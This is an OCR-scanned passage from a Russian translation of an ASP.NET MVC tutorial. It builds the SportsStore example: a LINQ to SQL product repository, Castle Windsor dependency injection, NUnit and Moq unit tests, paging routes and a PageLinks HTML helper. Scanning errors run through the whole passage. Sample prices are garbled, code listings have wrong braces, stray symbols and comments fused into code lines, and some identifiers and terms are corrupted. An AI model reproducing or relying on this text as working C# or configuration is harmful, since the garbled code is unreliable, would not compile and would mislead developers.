Name	nvarchanlGO)	
Description	nvarchariSOOj	
Categciy	nvarcharC®!	
Price	decimalrle, 2)	
Рис. 4.8. Спецификация столбцов таблицы products
Сохраните новую таблицу (нажав <Ctrl+S>) под именем Products. Для проверки, что все работает правильно, добавим некоторые тестовые данные. Переключитесь на редактор табличных данных (в окне Server Explorer щелкните правой кнопкой мыши на таблице Products и выберите в контекстном меню пункт Show Table Data (Показать данные таблицы)) и введите некоторые тестовые данные, как показано на рис. 4.9.
Products: Query(I...uce.Sport5Stcre)				
	Product© Name	Description	Category	Price
j ►	Kayak	A boat for one person	Watersparts	275.00
	Lifejacket	Protective and fashionable	Wat ersports	48.95
	Soccer ball	FIFA-apprcved size and weight	Soccer	Г3.50
	Shin pads	Defend your delicate little legs	Soccer	1139
	Stadium	Flat-packed 35,000-seat stadium.	Soccer	8350.00
	Thinking cap	Improve your brain efficiency by 75%	Chess	16ХЙ
	Concealed buzzer	Secretly distract your opponent	Chess	439
	Human chess beard	A fun game for the whole extended family'	Chess	75.00
H	Bling-bling King	Gold-plated, diamond-studded king	Chess	1200.00
! *		NULL	VL'll	
Рис. 4.9. Ввод тестовых данных в таблицу Products
Обратите внимание, что при вводе данных столбец ProductID должен оставаться пустым — зто идентифицирующий столбец, поэтому SQL Server заполняет его значениями автоматически.
Настройка LINQ to SQL
Во избежание необходимости написания запросов и хранимых процедур SQL вручную, давайте настроим и воспользуемся LINQ to SQL. Сущность предметной области уже определена как класс C# (Product); теперь ее можно отобразить на соответствующую таблицу базы данных, добавив несколько новых атрибутов.
Первым делом, добавьте ссылку на сборку System.Data.Linq.dll из проекта DomainModel (в этой сборке находится реализация LINQ to SQL — вы найдете ее на вкладке .NET диалогового окна Add Reference (Добавить ссылку)), после чего обновите Product следующим образом:
Глава 4. Реальное приложение SportStore 109
[Table(Name = "Products")]
public class Product {
[Column(IsPrimaryKey = true, IsDbGenerated = true, AutoSync=AutoSync.OnInsert)]
public int ProductID { get; set; }
[Column] public string Name { get; set; }
[Column] public string Description { get; set; )
[Column] public decimal Price { get; set; }
[Column] public string Category { get; set; } }
Это все, что необходимо LINQ to SQL для отображения класса C# на таблицу базы данных и ее строки (и наоборот).
Совет. Здесь потребуется указать явное имя таблицы, потому что оно не соответствует имени класса ("Product" != "Products"). Однако это не нужно делать для столбцов и свойств, так как их имена совпадают.
Создание реального репозитория
Теперь, когда LINQ to SQL почти настроен, совсем нетрудно построить новую реализацию IproductsRepository, которая подключится к реальной базе данных. Добавьте новый класс SqlProductsRepository в папку /Concrete проекта DomainModel:
namespace DomainModel.Concrete
{
public class SqlProductsRepository : IproductsRepository
{
private Table<Product> productsTable;
public SqlProductsRepository(string connectionstring) {
productsTable = (new DataContext(connectionstring)),GetTable<Product>();
}
public IQueryable<Product> Products
{
get { return productsTable; }
)
}
}
Конструктор этого класса принимает в своем аргументе строку соединения и использует ее для настройки DataContext из LINQ to SQL. Это позволит раскрыть таблицу Products как интерфейс lqueryable<Product>, который обеспечит всеми необходимыми средствами формирования и выполнения запросов. Любые запросы LINQ, которые будут выполняться отношении этого объекта, “за кулисами” превращаются в запросы SQL.
Теперь давайте подключим реальный репозиторий на основе SQL к приложению ASP.NET MVC. Вернитесь к проекту WebUI и установите ссылку ProductsController на SqlProductsRepository вместо FakeProductsRepository, следующим образом обновив конструктор ProductsController:
public ProductsController()
{
//Временно жестко закодированная строка соединения - до установки контейнера 1оС string connstring = @"Server=. ;Database=SportsStore;Trusted_Connection=yes;"; productsRepository = new SqlProductsRepository(connString);
}
110 Часть I. Введение в ASP.NET MVC
На заметку! Строка соединения должна быть приведена в соответствие с используемой средой разработки. Например, если ПК разработки установлена система SQL Server Express, со стандартным именем экземпляра SQLEXPRESS, фрагмент Server=. потребуется заменить фрагментом Server= .\SQLEXPRESS. Точно так же, если вместо аутентификации Windows применяется аутентификация SQL Server, необходимо изменить Trusted Connection=yes на и1й=ИмяПользователя; Рм<1=Пароль. Символ @ перед строковым литералом сообщает компилятору С#, что обратные слэши не должны интерпретироваться как управляющие последовательности.
Проверьте внесенные изменения, запустив проект. Теперь должен выводиться список товаров из базы данных SQL, как показано на рис. 4.10.
Рис. 4.10. Контроллер ProductsController визуализирует данные из базы SQL Server
Как видите, LINQ to SQL существенно упрощает получение строго типизированных объектов .NET из базы данных. Это не мешает применять традиционные хранимые процедуры для выполнения специфических запросов к базе данных, но это означает, что вы не обязаны их писать (или любой другой низкоуровневый код SQL), в результате экономя массу времени.
Настройка инверсии управления
Прежде чем углубиться дальше в приложение, и перед тем, как приступить к автоматизированному тестированию, имеет смысл настроить инфраструктуру инверсии управления (1оС). Это позволит автоматически разрешить зависимости между компонентами (например, зависимость ProductsController от IProductsRepository), поддерживая слабо связанную архитектуру и облегчая модульное тестирование. В главе 3 были изложены теоретические аспекты 1оС, а теперь все это можно применить на практике. В рассматриваемом примере будет использоваться популярный контейнер 1оС с открытым исходным кодом под названием Castle Windsor, который понадобится сконфигурировать с помощью нескольких настроек в web. config, а также путем добавления некоторого кода в файл Global. азах. cs.
Вспомните, что компонентом 1оС может быть любой выбранный объект или тип .NET. Все созданные в примере контроллеры и репозитории станут компонентами 1оС. Всякий раз, когда создается экземпляр компонента, контейнер 1оС разрешает его зависимости автоматически. Таким образом, если контроллер зависит от репозитория — возможно, требуя экземпляра в виде параметра конструктора — контейнер 1оС предоставит подходящий экземпляр. Просмотрев код, вы сами убедитесь, что все довольно просто. Если это еще не сделано, загрузите последнюю версию Castle Windsor, доступ
Глава 4. Реальное приложение SportStore 111
ную по адресу www. castlepro j ect. org/castle/download. html9. Программа установки зарегистрирует нужные DLL-библиотеки в глобальном кзше сборок (Global Assembly Cache — GAC). Добавьте в проект WebUI ссылки на следующие три сборки, которые находятся на вкладке .NET диалогового окна Add Reference:
•	Castle.Core for Microsoft .NET Framework 2.0
•	Castle.MicroKemel for Microsoft .NET Framework 2.0
• Castle.Windsor for Microsoft .NET Framework 2.0
Это обеспечит проекту WebUI доступ к типу WindsorContainer.
На заметку! Если сразу же после установки сборки Castle в окне Add Reference не появились, закройте и повторно откройте решение. Это заставит Visual Studio 2008 обновить глобальный кэш сборок.
Создание специальной фабрики контроллеров
Простого добавления ссылки на сборку Castle. Windsor далеко не достаточно. Сборку нужно подключить к конвейеру ASP.NET MVC. После этого ASP.NET MVC перестанет создавать классы контроллеров непосредственно, а будет запрашивать их у контейнера 1оС. Это позволит контейнеру 1оС разрешать любые зависимости, которые могут существовать у контроллера. Для этого понадобится создать специальную фабрику контроллеров (с помощью таких фабрик MVC Framework создает экземпляры классов контроллеров), унаследовав ее от встроенного в ASP.NET MVC класса DefaultControllerFactory. Создайте новый класс в корневой папке проекта WebUI и назовите его WindsorControllerFactory:
public class WindsorControllerFactory : DefaultControllerFactory
I
WindsorContainer container;
// Конструктор:
// 1. Устанавливает новый контейнер IoC.
//2. Регистрирует все компоненты, специфицированные в web.config.
// 3. Регистрирует все типы контроллеров в качестве компонентов.
public WindsorControllerFactory() (
// Создать экземпляр контейнера, взяв конфигурацию из web.config container = new WindsorContainer(
new Xmlinterpreter(new ConfigResource("castle")) ) ;
// Зарегистрировать все типы контроллеров как Transient
var controllerTypes = from t in Assembly.GetExecutingAssembly() .GetTypesO where typeof(IController).IsAssignableFrom(t) select t;
foreach(Type t in controllerTypes)
container.AddComponentWithLifestyle(t.FullName, t,
LifestyleType.Transient);
}
// Конструирует экземпляр контейнера,
// необходимого для обслуживания каждого запроса
protected override IController GetControllerlnstance(Type controllerType) {
return (IController)container.Resolve(controllerType);
}
}
На момент выхода в свет русскоязычного издания этой книги последней версией была 2.0.
112 Часть I. Введение в ASP.NET MVC
Обратите внимание на необходимость добавления нескольких операторов using, чтобы компиляция прошла успешно. Как видно из самого кода, компоненты регистрируются в двух местах.
•	Раздел файла web. config под названием castle.
•	Несколько строк кода, которые сканируют сборку, чтобы найти и зарегистрировать типы, реализующие iController (т.е. все классы контроллеров). Это избавляет от необходимости перечислять их вручную в файле web. config. Контроллеры регистрируются с типом LifestyleType. Transient, поэтому по каждому запросу будет получен новый экземпляр контроллера, что соответствует стандартному поведению ASP.NET MVC.
В файле web.config пока нет раздела по имени castle, поэтому давайте добавим его. Откройте файл web . config (находящийся в корневой папке проекта WebUI) и добавьте следующий фрагмент к его узлу configSections:
<configSections>
<section name="castle"
type="Castle.Windsor.Configuration.AppDomain.CastleSectionHandler, Castle.Windsor" />
<!— ... узлы всех прочих разделов остаются неизменными ... —>
</configSections>
Затем внутри узла <conf iguration> добавьте узел <castle>:
<configuration>
< 1 — etc —>
<castle>
<components>
</components>
</castle>
<system.web>
<! — etc —>
Узел <castle> можно поместить непосредственно перед <system.web>. Наконец, проинструктируйте ASP.NET MVC о необходимости использования новой фабрики контроллеров, вызвав SetControllerFactory () внутри обработчика Application_Start в Global.asax.cs:
protected void Application_Start()
{
RegisterRoutes(RouteTable.Routes);
ControllerBuilder.Current.SetControllerFactory(new WindsorControllerFactory());
}
В этот момент неплохо бы проверить, все ли по-прежнему работает. Новый контейнер 1оС должен быть в состоянии разрешать ProductsController, когда ASP.NET MVC запросит его, так что приложение должно работать, как будто бы ничего не менялось.
Использование контейнера инверсии управления
Контейнер 1оС применяется для исключения жестко закодированных зависимостей между компонентами. На данном этапе необходимо избавиться от имеющейся жестко закодированной зависимости ProductsController от SqlProductsRepository (что, в свою очередь, означает избавление от жестко закодированной строки соединения, которая будет сконфигурирована где-то в другом месте). Преимущества такого решения очень скоро станут очевидными.
Глава 4. Реальное приложение SportStore 113
Когда контейнер 1оС создает объект (т.е. класс контроллера), он проверяет список параметров его конструктора (т.е. зависимости) и пытается применить подходящий объект для каждого из них. Таким образом, добавьте к конструктору ProductsController новый параметр, как показано ниже:
public class ProductsController : Controller {
private IProductsRepository productsRepository;
public ProductsController(IProductsRepository productsRepository) {
this. productsRepository = productsRepository;
}
public ViewResult List()
{ return View(productsRepository.Products.ToList());
}
}
В этом случае контейнер 1оС определит, что ProductsController зависит от IProductsRepository. При создании экземпляра ProductsController теперь не будет никакой жесткой связи с каким-то конкретным репозиторием. Чем это выгодно?
•	Это начальная точка для модульного тестирования. В данном случае это означает, что автоматизированных тесты работают с собственной имитированной, а не с реальной базой данных, что намного ускоряет тестирование и делает его более гибким.
•	Это позволит приблизиться к разделению ответственности и достичь большей ясности. Интерфейс между двумя частями приложения (ProductsController и репозиторием) теперь становится очевидным фактом, а не просто существует в вашем воображении.
•	Вы защищаете кодовую базу от возможной будущей путаницы или вмешательства других разработчиков. Теперь намного менее вероятно, что кто-то не поймет, почему контроллер отделен от репозитория, и не объединит их в одно неподатливое целое.
•	Вы можете легко присоединить любой другой интерфейс IProductsRepository (например, для работы с другой базой данных или технологией ORM), не затрагивая скомпилированной сборки. Это очень удобно в случае совместного использования программных компонентов в разных проектах внутри компании.
Звучит достаточно убедительно, но действительно ли все зто работает, как было описано? Попробуйте запустить приложение, и вы получите сообщение об ошибке, показанное на рис. 4.11.
Рис. 4.11. Сообщение об ошибке Windsor, связанное с тем, что компонент не был зарегистрирован
114 Часть I. Введение в ASP.NET MVC
Причина возникновения ошибки состоит в том, что IproductsRepository пока не зарегистрирован в контейнере 1оС. Вернитесь к файлу web . config и обновите раздел <castle>:
<castle>
<components>
«component id="ProdsRepository"
service="DomainModel.Abstract.IproductsRepository, DomainModel" type="DomainModel.Concrete.SqlProductsRepository, DomainModel"> <parameters>
«connectionstring>your connection string goes here</connectionString> </parameters>
</component>
</componencs>
</castle>
Попробуйте запустить приложение теперь, и вы увидите, что все снова работает. Репозиторий SqlProductsRepository назначен в качестве активной реализации IproductsRepository. Конечно, при желании FakeProductsRepository можно изменить. Но обратите внимание, что строка соединения теперь находится в файле web. config, а не скомпилирована в двоичный файл DLL10.
Совет. Если приложение имеет дело сразу с несколькими репозиториями, не копируйте одну и ту же строку соединения в каждый узел «component:». Взамен заставьте свойства Windsor совместно использовать одно и то же значение. Добавьте <properties>«myConnStr>xxx </myConnStrx/properties> (где XXX— строка соединения) в узел <castle>, и затем для каждого компонента замените значение строки соединения дескриптором ссылки #{myConnStr}.
Выбор стиля жизни компонента
В Castle Windsor можно задавать стиль жизни для каждого компонента 1оС. Возможны следующие стили: Transient, Singleton, PerWebRequest, Pooled и Custom. Они определяют, когда контейнер должен создавать новый экземпляр каждого объекта — компонента 1оС, и какие потоки разделяют эти экземпляры. Стилем по умолчанию является Singleton (одиночка), означающий существование единственного экземпляра объекта компонента, который доступен глобально.
Для репозитория SqlProductsRepository в настоящее время установлен стиль жизни Singleton, так что на протяжении работы приложения поддерживается единственный DataContect из LINQ to SQL, который разделяется между всеми запросами. Пока это может показаться достаточным, потому что весь доступ до сих пор был только для чтения. Однако это приведет к проблемам, когда начнется редактирование данных. Незафиксированные изменения начнут теряться между запросами.
Во избежание этой проблемы измените жизненный стиль SqlProductsRepository на PerWebRequest. обновив его регистрацию в web. config:
«component id="ProdsRepository"
service="DomainModel.Abstract.IproductsRepository, DomainModel" type="DomainModel.Concrete.SqlProductsRepository, DomainModel" lifestyle—"PerWebRequest">
10 Поскольку ASP.NET MVC имеет встроенную поддержку конфигурирования строк соединения в узле <connectionStrings> файла web. config, ничего особенного в этом нет. Чем действительно полезна инверсия управления — так это возможностью ее применения для настройки любого набора параметров конструктора компонента вообще без написания кода.
Глава 4. Реальное приложение SportStore 115
Затем зарегистрируйте модуль Windsor PerRequestLifestyle в узле <httpModules>n:
<httpModules>
<add name="PerRequestLifestyle"
type="Castle.MicroKernel.Lifestyle.PerWebRequestLifestyleModule, Castle.MicroKernel" />
<!— Оставить остальные модули без изменений —>
</httpModules>
Если позже понадобится развернуть приложение на веб-сервере IIS 7, добавьте следующую эквивалентную конфигурацию в узел <system.webServer>/<modules> файла web. config (подробно о конфигурации IIS 7 речь пойдет в главе 14):
<remove name="PerRequestLifestyle"/>
<add name="PerRequestLifestyle" preCondition="managedHandler" type="Castle.MicroKernel.Lifestyle.PerWebRequestLifestyleModule, Castle.MicroKernel" />\
Значительное уменьшение необходимого объема работы является замечательной особенностью контейнеров 1оС. Шаблон построения объекта DataContect для каждого HTTP-запроса реализуется исключительно настройкой файла web. config.
Итак, работающая система на основе инверсии управления настроена. Независимо от количества добавляемых компонентов и зависимостей, основной механизм уже готов.
Создание автоматизированных тестов
Теперь, когда почти все фундаментальные части инфраструктуры готовы (структура решения и проекта, базовая модель предметной области и система репозиториев LINQ to SQL, а также контейнер 1оС), можно приступать к реальной работе по реализации поведения приложения и написанию для него тестов.
В настоящее время ProductsController генерирует список всех товаров, содержащихся в каталоге. Давайте усовершенствуем это: первым поведением приложения, которое мы будем тестировать и кодировать, будет генерация постраничного списка товаров. В этом разделе вы увидите, как можно комбинировать NUnit, Moq и компонентно-ориентированную архитектуру для проектирования нового поведения приложений с использованием модульных тестов.
На заметку! Разработка, управляемая тестами (TDD) — это не методика тестирования, а принцип проектирования (хотя и учитывающий некоторые аспекты тестирования). TDD предполагает описание желаемого поведения в форме модульных тестов, которые позднее запускаются для проверки, удовлетворяет ли полученная реализация требованиям проекта. Создание фиксированного описания проектных решений, которые можно быстро проверить на следующих версиях кодовой базы, позволяет отделить проект от реализации. Название “разработка, управляемая тестами” выбрано неудачно, поскольку акцентирование внимания на тестировании вводит в заблуждение. Появившееся относительно недавно понятие “разработка, управляемая поведением” (Behavior-Driven Design — BDD) можно счесть более приемлемым, хотя его отличия от TDD (если они вообще есть) являются предметом совершенно другой дискуссии.
Всякий раз, когда создается тест, который не проходит или не компилируется (так как приложение пока что не удовлетворяет его условиям), он выдвигает требование изменить код приложения так, чтобы условия теста были удовлетворены. *
11 Интерфейс IHttpModule в Windsor служит для поддержки PerWebRequestLifestyleModule, так что он может перехватить событие Application_EndRequest и отменить все, что было создано во время запроса.
116 Часть I. Введение в ASP.NET MVC
Энтузиасты TDD предпочитают вообще не изменять своих приложений, кроме как в ответ на сбойные тесты, тем самым гарантируя, что комплект тестов представляет полное (в разумных пределах) описание всех проектных решений.
Если такой формальный подход к проектированию по каким-либо причинам не удовлетворяет. можете не применять TDD в этой и последующих главах, не обращая внимания на врезки. Использование TDD в ASP.NET MVC обязательным не является. Однако эту методику стоит опробовать, чтобы увидеть, насколько она подходит к вашему процессу разработки. Следовать ей строго или не очень — выбор исключительно ваш.
Подготовка к началу тестирования
В дополнение к ранее созданному проекту Tests также понадобятся два инструмента модульного тестирования с открытым кодом. Если это еще не сделано, загрузите и установите последние версии NUnit (среда с графическим интерфейсом пользователя для определения и прогона модульных тестов, доступная по адресу http : //www.nunit. org/12) и Moq (среда имитации, спроектированная специально для синтаксиса C# 3.5 и доступная по адресу http: / / code. google . com/p/moq/13). Добавьте в проект Tests ссылки на следующие сборки:
•	nunit. framework (из вкладки .NET окна Add Reference)
•	System. Web (из той же вкладки .NET)
•	System. Web. Abstractions (из той же вкладки .NET)
•	System. Web.Roiting (из той же вкладки .NET)
•	System.Web.Mvc.dll (из той же вкладки .NET)
•	Moq.dll (из вкладки Browse (Обзор), потому что после загрузки Moq получается только файл сборки, который не зарегистрирован в GAC).
•	Ваш проект DomainModel (из вкладки Projects (Проекты))
•	Ваш проект WebUl (из вкладки Projects)
Добавление первого модульного теста
Для построения первого модульного теста создайте в проекте Tests класс по имени ProductsControllerTests. Первый тест будет проверять способность действия List работать с номером страницы, переданном в качестве параметра (например, List (2)), помещая в Model только нужную страницу товаров: [TestFixture] public class ProductsControllerTests {
[Test]
public void List_Presents__Correct_Page_Of_Products () {
/	/ Подготовка: 5 товаров в репозитории
IProductsRepository repository = MockProductsRepository( new Product { Name = "Pl" ), new Product { Name = "P2" }, new Product { Name = "P3" }, new Product { Name = "P4" [, new Product { Name = "P5" } );
ProductsController controller = new ProductsController(repository);
controller.PageSize =3; // Это свойство пока не существует, но
// обращаясь к нему, вы неявно формируете
/ / требование о его существовании
// Действие: запросить вторую страницу (размер страницы = 3) var result = controller.List(2);
12 На момент выхода в свет русскоязычного издания этой книги последней версией была 2.5.3.
13 На момент выхода в свет русскоязычного издания этой книги последней версией была 3.1.
Глава 4. Реальное приложение SportStore 117
// Утверждение: проверить результаты
Assert.IsNotNull(result, "Didn't render view"); // Представление не визуализировано var products = result.ViewData.Model as IList<Product>;
Assert.AreEqual(2, products.Count, "Got wrong number of products");
// Получено неверное количество товаров
// Удостовериться, что выбраны правильные объекты
Assert.AreEqual("Р4", products[0].Name);
Assert.AreEqual("Р5", products[l].Name);
}
static IproductsRepository MockProductsRepository(params Product!] prods) {
// Сгенерировать реализатор IproductsRepository во время выполнения с помощью Moq var mockProductsRepos = new Moq.Mock<IProductsRepository>();
mockProductsRepos.Setup(x => x.Products) .Returns(prods.AsQueryable ()); return mockProductsRepos.Object;
} }
Как видите, этот модульный тест эмулирует определенное условие репозитория, которое поддается осмысленному тестированию. Для создания реализатора интерфейса IproductsRepository, который должен вести себя определенным образом (возвращая указанное множество объектов Product) в Moq используется механизм генерации кода во время выполнения. Это намного легче, аккуратнее и быстрее, чем действительно загружать реальные строки в базу данных SQL Server для целей тестирования, и зто возможно лишь потому, что ProductsController обращается к своему репозиторию только через абстрактный интерфейс.
Проверка проходит ли тест
Попробуйте скомпилировать решение. Поначалу вы получите ошибку компиляции, потому что List () пока не принимает никаких параметров (а вы пытаетесь вызвать List (2)), к тому же еще не определено свойство ProductsController.PageSize (рис. 4.12).
Намеренное написание кода теста, который не может быть скомпилирован (средство IntelliSense также начинает сбоить), может показаться странным, но зто — один из приемов TDD. Ошибка компиляции фактически может рассматриваться как первый провал теста. Она выдвигает требование создать некоторые новые методы и свойства (в данном случае ошибка компиляции вынуждает добавить новый параметр раде к методу List ()). Дело вовсе не в том, что мы хотим получить ошибки компиляции, а в том, что мы хотим написать тесты первыми — даже если они вызовут ошибки компиляции. Некоторым такой подход не по душе, поэтому они одновременно с написанием тестов создают заготовки методов или свойств, удовлетворяя и компилятор, и IDE-среду. Как поступать вам — решайте сами. В главах, посвященных разработке SportStore, применяется “аутентичный” подход TDD: сначала пишется код тестов, несмотря на то, что он поначалу вызывает ошибки компиляции.
Добейтесь успешной компиляции кода, добавив в класс ProductsController поле-член PageSize типа piblic int, а в метод List () — параметр раде типа int (измененный код показан сразу после врезки). Загрузите графическую среду NUnit (она устанавливается вместе с NUnit и, возможно, появляется в меню Пуск системы Windows), выберите в ее меню пункт Filed>Open Project (Файл^Открыть проект) и затем найдите скомпилированную сборку Tests.dll (она должна располагаться в папке PemreHAre\Tests\bin\Debug\). Графическая среда NUnit просмотрит сборку в поисках классов с атрибутом [TestFixture] и отобразит их вместе с методами, помеченными [Test], в графической иерархии. Щелкните на кнопке Run (Выполнить); результат можно видеть на рис. 4.13.
Неудивительно, что тест по-прежнему не проходит: текущий контроллер ProductsController возвращает все записи из репозитория вместо лишь одной запрошенной страницы. Как объяснялось в главе 3, зто хороший признак: при разработке в стиле “красная полоса — зеленая полоса” сначала необходимо обнаружить сбой теста, а затем кодировать поведение, которое заставит тест проходить успешно. Это подтвердит, что тест действительно реагирует на только что написанный код.
118 Часть I. Введение в ASP.NET MVC
Епсг List
'	2 Encrs 	Warnings, i : О Messages
Description	Fife
•3 1 'WebUI.Co«rtrolter£.Pr©ducteContrcWer’ does not contain a definition for 'PageSize and no	PfcductsConirolferTей? c
extension method 'PageSize' accepting a first argument of type
'WebUI.ControHers.ProduiSsContrciier could be found (aieyca missing a using directive or an assembly references
□ I No overload for method ’List' takes T argument»	ProdoctsCGntmiierTests
; Error List e r	‘
Рис. 4.12. Тест выявляет необходимость в реализации методов и свойств
Рис. 4.13. Полоса красного цвета в графической среде NUnit свидетествует о том, что тест не прошел
Если это еще не сделано, обновите метод List () класса ProductsController, добавив к нему параметр раде, и определите PageSize как public-член класса:
public class ProductsController : Controller {
public int PageSize =4; // Позже это будет изменено
private IProductsRepository productsRepository;
public ProductsController(IProductsRepository productsRepository) {
this.productsRepository = productsRepository;
}
public ViewResult List(int page) {
return View(productsRepository.Products.ToList());
}
}
Теперь можно добавить поведение постраничного вывода списка. До появления LINQ это было непростой задачей (SQL Server 2005 может возвращать постраничные наборы данных, правда, не особо очевидным способом), а теперь это делается единственным элегантным оператором С#. Обновите метод List () следующим образом:
public ViewResult List(int page) {
return View(productsRepository.Products
.Skip((page - 1) * PageSize)
.Take(PageSize)
. ToList ()
) ;
}
Глава 4. Реальное приложение SportStore 119
Если вы сопровождаете разработку модульными тестами, перекомпилируйте решение и заново запустите тест в графической среде NUnit. Должна быть получена полоса зеленого цвета, свидетельствующая об успешном прохождении теста.
Конфигурирование специальной схемы URL
Добавление параметра раде к действию List () было замечательно для модульного тестирования, но зто вызовет небольшую проблему при попытке запуска приложения (рис. 4.14).
; ££ Г-'е parameters dictionary ccntans а пай епзу for pa^treter page of non-tuiiabre type ’Syst - Wrucws Internet Ssploter i_-
! ,	-e http
Server Error in ’/’ Application.	
\ j	\
j; The parameters dictionary contains a null entry for parameter 'page' of nor.- i D nullable type 'System.Int32' for method 'System.Web.Mvc.ViewResult List p (Int32)'in 'WebUI.CcntroIlers.ProductsController'. To make a parameter i| optional its type should be either a reference type or a Nullable type.	;
h Parameter name: parameters
H	I
' | Description: а-л	the екек.Т'г? of гпв сытел: v;asreauest Peese review tire siacb trace fc'rare infch-счйсп	j
! ? afcsut tse erar erd wrere "4 оr-jратей to й>е Cut*	
; I	-	"'
-------------------.-----------------------------------------------------------------------------------
Рис. 4.14. Возникла ошибка из-за того, что значение для параметра раде не указано
Каким образом среда MVC сможет вызвать ваш метод List (), если ей не известно, какое значение должно передаваться в раде? Если бы параметр относился к ссылочному типу или к типу, допускающему значения null14, могло быть передано просто null, однако int к упомянутым типам не относится, поэтому возникает ошибка.
В порядке эксперимента попробуйте изменить URL в браузере на http:// localhost:ххххх/?page=l или http://localhost:ххххх/?page=2 (замените xxxxx на используемый номер порта). Вы обнаружите, что все работает — приложение может выбирать и отображать соответствующую страницу результатов. Причина в том, что когда ASP.NET MVC не может найти параметр маршрутизации, соответствующий параметру метода-действия (в данном случае раде), предпринимается попытка использовать вместо него параметр строки запроса. Это механизм привязки параметров, который детально рассматривается в главах 9 и 11.
Приведенные выше URL выглядят довольно неуклюже, к тому же должны выполняться какие-то действия, даже когда в строке запроса параметр вообще не передается. Это значит, что наступил момент для редактирования конфигурации маршрутизации.
Добавление элемента RouteTable
Решить эту проблему отсутствующего номера раде можно, установив в конфигурации маршрутизации значение по умолчанию. Вернитесь к файлу Global. asax. cs. удалите существующий вызов MapRoute и замените его следующим:
14 Тип, допускающий значения null — это такой тип, для которого null является действительным значением. В качестве примеров можно привести типы object, string, System. Nullable<int> и любой класс, определяемый пользователем. Экземпляры этих типов расположены в “куче" и доступны через указатель (который может быть установлен в null). Совсем иначе обстоят дела с int, DateTime или любой структурой (struct). Они хранятся в виде блока памяти в стеке, поэтому устанавливать их в null бессмысленно (в занимаемом ими пространстве памяти что-то должно находиться).
120 Часть I. Введение в ASP.NET MVC
routes.MapRoute(
null,	// Назначать имя этому элементу маршрута не обязательно
"",	// Соответствует корневому URL, т.е. ~/
new { controller = "Products", action = "List", page = 1 } // Настройки //по умолчанию
) ;
routes.MapRoute(
null,	// Назначать имя этому элементу маршрута не обязательно
"Page{раде}// Шаблон URL, например ~/Раде683
new { controller = "Products", action = "List"}, // Настройки по умолчанию new { page = @"\d+" } // Ограничения: page должно быть числовым
) ;
Что получается в результате? Это значит, что могут существовать два приемлемых формата URL.
•	Пустой URL (корневой URL, т.е. http: / / сайт/), который вызовет действие List () на контроллере ProductsController, передав ему значение по умолчанию, равное 1.
•	URL в форме Page{page} (например, http://сайт/Раде41), где раде должно соответствовать регулярному выражению "\d+" 15. т.е. состоять исключительно из десятичных цифр. Такие запросы также отправляются методу List () класса ProductsController с передачей значения раде, извлеченного из URL.
Теперь попробуйте снова запустить приложение. Вы должны увидеть нечто вроде показанного на рис. 4.15.
Рис. 4.15. Логика разбиения на страницы обеспечивает выбор и отображение только первых четырех товаров
15 В этом коде оно предварено символом @, который сообщает компилятору C# о том, что обратный слэш не должен интерпретироваться как начало управляющей последовательности.
Глава 4. Реальное приложение SportStore 121
Отлично! Теперь отображается только первая страница товаров, а для просмотра других страниц можно добавлять их номера к URL (например, http: / /localhost:port/ Page2).
Отображение ссылок на страницы
Возможность ввода URL вроде /Раде2 или /Раде59 просто таки замечательна, но вы — единственный, кто об этом знает. Посетители могут и не догадаться вводить такие URL. Очевидно, что внизу каждой страницы списка товаров необходимо визуализировать ссылки на другие страницы, позволяющие посетителям осуществлять навигацию по страницам.
Для этой цели потребуется реализовать многократно используемый вспомогательный метод HTML (подобный упоминавшимся в главе 2 методам Html. TextBox () и Html. BeginForm ()), который сгенерирует HTML-разметку для ссылок на страницы. Когда необходим очень простой вывод, разработчики приложений ASP.NET MVC вместо серверных элементов управления в стиле WebForms обычно применяют эти легковесные вспомогательные методы, потому что они просты, прямолинейны и очень легко тестируются.
Все это потребует выполнения нескольких шагов.
1.	Тестирование. Если вы пишете модульные тесты, то всегда пишите их первыми! И API-интерфейс, и вывод вспомогательного метода HTML должны определяться с использованием модульных тестов.
2.	Реализация вспомогательного метода HTML (для удовлетворения требований тестового кода).
3.	Подключение вспомогательного метода HTML (модификация кода ProductsController с целью передачи представлению информации о номере страницы и соответствующего обновления представления посредством нового вспомогательного метода HTML).
Тестирование: проектирование вспомогательного метода PageLinks
Вспомогательный метод PageLinks проектируется кодированием нескольких тестов. Во-первых, в соответствии с соглашениями ASP.NET MVC, зто должен быть расширяющий метод класса HtmlHelper (чтобы представления могли запускать его вызовом <%= Html. PageLinks (...) %>). Во-вторых, на основе номера текущей страницы, общего количества страниц и функции, вычисляющей URL для заданной страницы (например, лямбда-мето-да) он должен вернуть некоторую HTML-разметку, содержащую ссылки (те. дескрипторы <а>) на все страницы, применяя некоторый специальный класс CSS для выделения текущей страницы.
Создайте в проекте Tests новый класс PageHelperTests и выразите проект в форме модульных тестов:
[TestFixture]
public class PagingHelperTests
{
[Test]
public void PageLinks Method_Extends_HtmlHelper() {
HtmlHelper html = null;
html.PageLinks(0, 0, null);
}
[Test]
122 Часть I. Введение в ASP.NET MVC
public void PageLinks_Produces_Anchor_Tags() {
/ / Первым параметром будет индекс текущей страницы
// Вторым параметром — общее количество страниц
// Третьим параметром — лямбда-метод для отображения номера страницы на ее URL string links = ( (HtmlHelper) null) . PageLinks (2, 3, i => "Page" + i) ;
// Дескрипторы должны быть сформатированы следующим образом
Assert.AreEqual(@"<а href=""Pagel"">l</a>
<а class=""selected"" href=""Page2"">2</a>
<а href=""Page3"">3</a>
", links);
}
}
Обратите внимание, что первый тест даже не содержит вызова Assert (). Он проверяет, расширяет ли PageLinks () класс HtmlHelper, просто не давая компилироваться, если это условие не удовлетворено. Разумеется, зто означает, что тесты пока компилироваться не будут.
Также следует отметить, что второй тест проверяет вывод вспомогательного метода с использованием строкового литерала, который содержит как символы новой строки, так и символы двойных кавычек. Компилятор C# не будет испытывать проблем с такими многострочными литералами, если вы соблюдаете правила форматирования: предваряете строку символом @ и затем повторяете двойные кавычки. Избегайте непреднамеренного добавления лишних пробелов в конец многострочного литерала.
Реализуйте вспомогательный метод HTML PageLinks, создав в проекте WebUI новую папку по имени HtmlHelpers. Добавьте новый статический класс под названием PagingHelpers:
namespace WebUI.HtmlHelpers
{
public static class PagingHelpers {
public static string PageLinks(this HtmlHelper html, int currentPage, int totalPages, Func<int, string> pageUrl) {
StringBuilder result = new StringBuilder();
for (int i = 1; i <= totalPages; i++) {
TagBuilder tag = new TagBuilder("a"); // Конструирует дескриптор <a> tag.MergeAttribute("href", pageUrl(i));
tag.InnerHtml = i.ToString();
if (i == currentPage)
tag.AddCssClass("selected");
result.AppendLine(tag.ToString());
}
return result.ToString();
}
}
}
